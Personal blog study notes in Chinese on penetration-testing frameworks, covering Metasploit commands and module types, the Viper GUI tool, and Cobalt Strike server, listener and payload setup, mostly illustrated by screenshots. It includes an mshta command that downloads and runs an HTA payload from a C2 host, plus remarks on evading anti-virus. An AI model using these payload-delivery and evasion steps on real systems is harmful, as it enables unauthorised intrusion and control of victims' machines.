渗透测试框架

渗透测试框架

Metasploit渗透框架

名词解释

POC: 用于证明漏洞是否存在,是没有攻击性

EXP: Expoit,利用漏洞的攻击动作,方式,方法,具有攻击性

PAYLOAD : 有效载荷,真正在系统进行的代码和指令

SHELLCODE: 利用漏洞执行的代码

CLIENT: 客户端

Team Server:服务端,C2服务器,Beacon Payload的控制器

Beacon:是Cobalt Strike运行在目标主机上的 payload,Beacon 在隐蔽信道上我们提供服务,用于长期控制受感染主机。

C2:Command & Control Server的简称,也就是命令与控制服务器

MSF简介

The Metasploit Framework 的简称。MSF 高度模块化,即框架由多个 module 组成,是全球最受欢迎的渗透测试工具之一是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的 shellcode,并持续保持更新。metasploit 涵盖了渗透测试中全过程,你可以在这个框架下利用现有的 Payload 进行一系列的渗透测试。

MSF框架结构

kali-metasploit框架目录路径

/usr/share/metasploit-framework

data: 包含metasploit用于存储某些漏洞、单词列表、图像等所需二进制文件的可编辑文件。

documentation:包含框架的可用文档。

lib:metasploit的库文件夹。

plugins:用来存放metasploit的插件。

scripts:用来存放metasploit的脚本,包括meterpreter及其它脚本。

tools:存放多种的命令行实用程序。

modules:存储metasploit的模块文件。

更新

但是一般安装最新版的kali一般都是最新版的metasploit

msfconsole -v # 查看版本

apt-get update

apt-get install metasploit-framework

配置数据库

Metasploit支持使用数据库来保存渗透测试过程中获取的各种数据

  1. 开启数据库

    serveice postgresql start

  2. 初始化MSD数据库

    msfdb init

    创建数据库用户:msf

    创建数据库:msf

    创建数据库:msf_test

    创建配置文件:/usr/share/metasploit-framework/config/database.yml

    创建保存MSF框架信息所需数据表

    image-20230901141403479

启动msfconsole

1
msfconsole

Msfconsole 是 Metasploit 框架用户接口,我们能通过 Msfconsole 接口使用 Metasploit 中所有模块

msfconsole作用

  1. 管理Metasploit数据库

  2. 管理会话

  3. 配置启动Metasploit模块

image-20230901142007898

启动msfconsole时,MSF会使用创建MSF用户子哦对那个登录到数据库

通过db_status检查数据库的状态

image-20230901142212998

连接其他的数据库

msf5 > db_connect 用户名:口令**@服务器地址:端口/**数据库名称

msf命令

常用命令

show exploits – 查看所有可用的渗透攻击程序代码

show auxiliary – 查看所有可用的辅助攻击工具

[show]options/advanced – 查看该模块可用选项

show payloads – 查看该模块适用的所有载荷代码

show targets – 查看该模块适用的攻击目标类型

search – 根据关键字搜索某模块

info – 显示某模块的详细信息

use – 使用某渗透攻击模块

back – 回退

set/unset – 设置/禁用模块中的某个参数

setg/unsetg – 设置/禁用适用于所有模块的全局参数

数据库管理命令

msfdb init # 启动并初始化数据库

msfdb reinit # 删除并重新初始化数据库

msfdb delete #** 删除并停止使用数据库

msfdb start # 启动数据库

msfdb stop # 停止数据库

msfdb status # 检查服务状态

msfdb run # 启动数据库并运行msfconsole

核心命令

? 帮助菜单
banner 显示 Metasploit banner信息
cd 更改当前工作目录
color 切换颜色
connect 与主机通信
debug 显示对调试有用的信息
exit 退出控制台
features 显示可以选择加入的尚未发布的功能列表
get 获取特定变量的值
getg 获取全局变量的值
grep 筛选以一条命令的输出
help 帮助菜单
history 显示命令历史记录
load 加载框架插件
quit 退出控制台
repeat 重复一个命令列表
route 通过一个session会话路由流量
save 保存活动的数据存储
sessions 导出会话列表并显示会话信息
set 将一个特定环境的变量设置为一个值
setg 将一个全局变量设置为一个值
sleep 在指定的秒数内不执行任何操作
spool 将控制台输出写入文件以及屏幕
threads 查看和操作后台线程
tips 显示有用的提示清单
unload 卸载框架插件
unset 取消设置的一个或多个变量
unsetg 取消设置一个或多个全局变量
version 显示框架和控制台库版本号

模块命令

advanced 显示一个或多个模块的高级选项
back 从当前环境返回
clearm 清除模块堆栈
favorite 将模块添加到最喜欢的模块列表中
info 显示一个或多个模块的详细信息
listm 列表中的模块栈
loadpath 从路径中搜索并加载模块
options 显示一个或多个模块全局选项
popm 将最新的模块从堆栈中弹出并使其处于活动状态
previous 将之前加载的模块设置为当前模块 pushm 将活动模块或模块列表推送到模块堆栈 reload_all 重新加载所有模块
search 搜索模块名称和描述
show 显示给定类型的的模块或所有模块
use 通过名称或搜索词/索引选择使用模块

作业命令

handler 启动一个payload处理程序作为job

jobs 显示和管理 jobs

kill 杀掉一个job

rename_job 重命名一个job

开发者命令

edit 用首选编辑器编辑当前模块或文件
irb 在当前环境下打开一个交互式Ruby shell
log 如果可能的话,将framework.log分页显示到最后。
pry 在当前模块或框架上打开 Pry 调试器
reload_lib 从指定路径重新加载Ruby库文件
time 运行一个特定命令所需的时间

攻击载荷命令

check 检查一个目标是否易受攻击
generate 生成一个有效载荷
reload 从磁盘重新加载当前的模块
to_handler 用指定的有效载荷创建一个处理程序

MSF模块简绍

模块是通过Metasploit框架装载集成对外提供的最核心的渗透测试功能实现代码。MSF所有的漏洞测试都是基于模块。

一共有以下7种模块

image-20230901143836927

  1. 辅助模块(Auxiliary

    例如针对各种网络服务的扫描与查点网络扫描枚举漏洞扫描登录口令暴力破解模糊测试爬虫遍历数据提取

    此外,辅助模块中还包括一些无须加载攻击载荷,同时往往不是取得目标系统远程控制权的渗透攻击,例如:拒绝服务攻击。

  2. 渗透攻击模块(Exploits

    就是用于攻击的模块

    有远程漏洞利用、本地漏洞利用、权限提升漏洞利用、客户端漏洞利用、Web 应用程序漏洞利用和许多其他漏洞。

  3. 攻击载荷模块(Payloads

    用于在利用期间执行操作的模块。攻击载荷是在渗透攻击成功后在目标系统运行的一段植入代码,通常是为渗透攻击者打开在目标系统上的控制会话连接。在传统的渗透代码开发中,攻击载荷只是一段功能简单的ShellCode代码,以汇编语言编制并转换为目标系统CPU体系结构支持的机器代码,在渗透攻击触发漏洞后,将程序执行流程劫持并跳转入这段机器代码中执行,从而完成ShellCode中实现的单一功能。

    例如建立 Meterpreter 会话、反向 shell、执行命令、下载和执行程序等。

  4. 后渗透攻击模块(Post

    用于在拿到权限后进行后渗透利用操作的模块,例如凭证/哈希转储、本地权限提升、后门安装、敏感数据提取、网络流量隧道(代理)、键盘记录、屏幕捕获和许多其他操作。

  5. 空指令模块(Nops)

    用于生成无害、良性的“无操作”指令的模块,例如用于填充目的、在利用期间在内存中滑动等。用来在攻击载荷中添加空指令区,以提高攻击可靠性的组件。是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令。在渗透攻击构造恶意数据缓冲区时,常常要在真正要执行Shellcode时,有一个较大的安全着陆区,从而避免受到内存地址随机化、返回地址计算偏差等原因造成的Shellcode执行失败,从而提高渗透攻击的可靠性。

    可以理解为这个是提高成功的保险

  6. 编码模块(Encoders)

    用于有效负载编码和加密的模块,例如 base64、XOR、shikata_ga_nai 等。这有助于混淆以规避防病毒或 NIDS(网络入侵检测系统)、EDR(端点检测和响应)等防御。

  7. 规避模块(Evasions)

    用于规避防御的模块,例如防病毒规避、AppLocker 绕过、软件限制策略 (SRP) 绕过等。

    搜索MSF常见的模块以及详细的使用方法

    https://www.infosecmatter.com/metasploit-module-library/

MSF辅助扫描

  1. MSF主机发现

    模块发现

    modules/auxiliary/scanner/discovery/

    也可以通过search进行搜索模块

    image-20230901151108175

    arp_sweep:使用arp请求枚举本地局域网中的所有活跃主机

    udp_sweep:通过发送UDP数据包探查指定主机是否活跃,并发现主机上的udp服务。

    模块使用

    • arp_sweep模块使用

      use auxiliary/scanner/discovery/arp_sweep

      set RHOSTS 10.10.10.0/24

      set THREADS 50

      run

      设置好过后,代表进行启动

      image-20230901183217283

常用的参数

  1. 生成payload 查看指定的参数

    1
    --list-options

    image-20240127102743048

  2. 查看payload

    1
    msfvenom -l payloads | grep windows

    image-20240127103050414

相关模块简绍

介绍一些使用率没有那么高,但是挺重要的模块

  1. web_delivery

    该模块没有文件落地

    image-20240127103225617

    查看高级设置

    1
    show advanced

    image-20240127103343707

    查看target

    image-20240127103948853

    image-20240127104108590

    image-20240127104123285

生成正向payload

image-20240302140025434

kali开启监听

注意设置lport 为目标主机开启的端口

image-20240302140049447

Viper渗透框架

简介

是一款图形化内网渗透工具,将内网渗透过程中常用的战术及技术进行模块化及武器化。 集成杀软绕过,内网隧道,文件管理,命令行等基础功能。 当前已集成70+个模块,覆盖初始访问/持久化/权限提升/防御绕过/凭证访问/信息收集/横向移动等 大类。 目标是帮助红队工程师提高攻击效率,简化操作,降低技术门槛。支持在浏览器中运行原生 msfconsole,且支持多人协作

文档:https://www.yuque.com/vipersec

github:https://github.com/FunnyWolf/Viper

多看看,文档

使用

在输入密码之后进入到这个应用

image-20240127112448026

生成payload

建议生成完监听器之后直接生成payload

image-20240127113945128

image-20240127112544746

不支持免杀

image-20240127113748752

CobaltStrike渗透框架

介绍

这个是基于matasploit二次开发的框架

Cobalt Strike(简称为CS)是一款团队作战渗透神器,是一种可以用来进行横向移动、数据窃取、鱼叉式钓鱼的后渗透工具,分为客户端和服务端,一个客户端可以连接多个服务端,一个服务端也可以对应多个客户端连接。

默认只能针对windows,相对于msf改进了很多东西,同时也不会被发现因为cs采用http的形式,默认每60s通信一次。对于检测流量来说,可以是很隐蔽的了

image-20240128095708861

基本使用

下载链接

这个是中文版

启动服务端

  1. 进入到文件夹过后,进行一下的操作

    image-20230902151141018

    image-20230902151153763

    image-20230902151825591

    1
    2
    sudo ./teamserver 192.168.13.114 0804chgCHG
    IP 密码

启动客户端

image-20230902152315988

win

image-20230902152002463

image-20230902152024051

完成基本的配置,注意主机是服务端的地址,用户的名称不能重复

linux

linux必须是在有图形界面的才能正常的运行

image-20230902152238766

这里需要等一下

英文版的翻译

下面 是旧版的cs,我们使用的是新版的cs

image-20230902152348898

image-20230902152439650

image-20230902152557225

paylaod

简单介绍一下

image-20240128094313064

文件管理

就可以替代使用python -m 开启监听

image-20240128102745832

image-20240128103032018

托管了一个hta文件,现在尝试使用这个

1
mshta http://192.168.79.138:7799/download/file.ext 

然后被杀了

image-20240128103309818

想免杀的话可以尝试使用C语言 或者raw格式的文件

image-20240128103755897

远程加载

image-20240128105237494

image-20240128105252160

cs插件简绍

c2

生成linuxpayload

  1. 生成一个https的监听器

    image-20240201091842806

  2. 使用c2 创建一个监听器

    image-20240201092008068

    image-20240201091912769

    image-20240201092036696

  3. 查看payload

    image-20240201092152456

模拟上线

image-20240219122600145
image-20240219122626209


渗透测试框架
https://tsy244.github.io/2023/09/01/渗透/渗透测试框架/
Author
August Rosenberg
Posted on
September 1, 2023
Licensed under